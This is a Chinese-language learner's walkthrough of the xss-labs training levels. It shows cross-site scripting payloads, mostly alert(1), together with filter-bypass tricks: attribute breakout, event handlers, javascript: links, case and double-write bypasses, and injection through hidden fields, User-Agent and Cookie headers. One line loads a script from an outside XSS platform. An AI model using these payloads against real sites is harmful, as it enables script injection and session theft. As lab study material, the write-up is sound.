<script>alert(1);</script> //直接嵌入script
<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script
<input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串
<a HREF=javascript:alert(1)>aaa</a> //超链接
<a HREF=javascript:alert(1)>aaa</a> //html实体转义
把test改为
直接过关。
用第一关的方法,不行了。右击鼠标看源码
发现1这个位置的<>
被转码了
但是2这个位置没有,所以可以考虑把2当做输出点
先用">
闭合value标签,再输出弹窗。
"><script>alert(1)script>
输入' '' < >
,查看源码,发现两个地方,"<>都被转码
了
但是单引号作为闭合符没有被转码
于是想到了on事件。
'onclick='alert(1)
'onmouseover='alert(1)'
发现2这个地方,单引号,双引号还在,且双引号是闭合符
所以和第三关一样的做法,用on函数,只是闭合符换成了"
这一关在测试’ ‘’ < >是否正常显示时,发现都可以。
用第一关的方法试一试。却发现果然没这么简单,script被隔开了
又想到了刚刚的67在文本框的外面出现,所以试试超链接行不行
"> 12<a href="javascript:alert(1)">34a>
成功
用前面几关的方法来试,都不行
忽然发现1全是小写,2有大写有小写,想到了大小写绕过
果然成功
">
这一关也很简单,随便输入试试水,看到script直接就没了,立马就想到了双写绕过
成功
"><scscriptript>alert(1)</scrscriptipt>
经过尝试,发现添加友情链接后,点击友情链接,就会跳到刚刚添加的友情链接的位置
拿试水,script被过滤了。
试试其他的方法。on事件也被过滤了,大小写也不行。看了看攻略,要用到转义字符
查ASCII表得:s是115
所以用javascript:alert(1)
试试
用第8关的方式
说链接不合法
想到链接一般都有个http://
或者https://
。
所以在前面加上http://
,这次没有再说链接不合法,但是点击没反应。
这关有点尴尬,不加http://
,链接就不合法;加了http://
,语句结构就不合法。
查看万能的攻略,说应该把http://放在后面,注释掉。
因为后端只检测链接里面包含http://
字段就行,注不注释掉没关系。而注释掉,语句结构就没问题了
javascript:alert(1) //http://
javascript:alert(1) /*http://www.baidu.com*/
查看源码,<>
被转码了,但是发现三个隐藏的input。
给他们赋值(这应该是叫赋值吧)
看源码,发现只有t_sort有反应
把3
换成" type="text" onmouseover="alert(1)
即http://172.16.11.54/xss-labs/level10.php?keyword=4&t_sort=" type="text" onmouseover="alert(1)
当鼠标经过name="t_sort"的时候,弹出弹窗,过关。
同样查看源码,发现四个隐藏的文本框
分别赋值,还是只有t_sort有反应
172.16.11.222/xss-labs/level11.php?keyword=good job!&t_link=1&t_history=2&t_sort=3&t_ref=4
那就用第10关的方法
http://172.16.11.222/xss-labs/level11.php?keyword=good job!&t_sort=" type="text" οnmοuseοver="alert(1)
不行,没反应,查看源码,双引号被过滤了
查看攻略说要抓包,我正想参考这个攻略打开burpsuite,按F11的时候,不小心按到了F12。
既然url里面不能操作,那能不能直接在控制台里操作,将type改成text
,加入onmouseover="alert(1)"
。
然后点击出现的文本框,成功弹出弹窗。也不知道这算不算成功过关
用第10关的方法,同样发现只有t_sort有反应,但是t_ua这里有一串奇怪的东西
使用burpsuite抓包的时候,发现t_ua
的value
和user-agent
的值有点像,是不是这里输出的就是user-agent的值呢?
试一下
在user-agent的值后面加上 " type="text" onmouseover="alert(1)"
果然成功
经过前面几关的学习,看源码,抓包已经成为基本操作了
发现t_cook的值和cookie的值有点意思
于是在cookie后面加上" type="text" onmouseover="alert(1)"
果然成功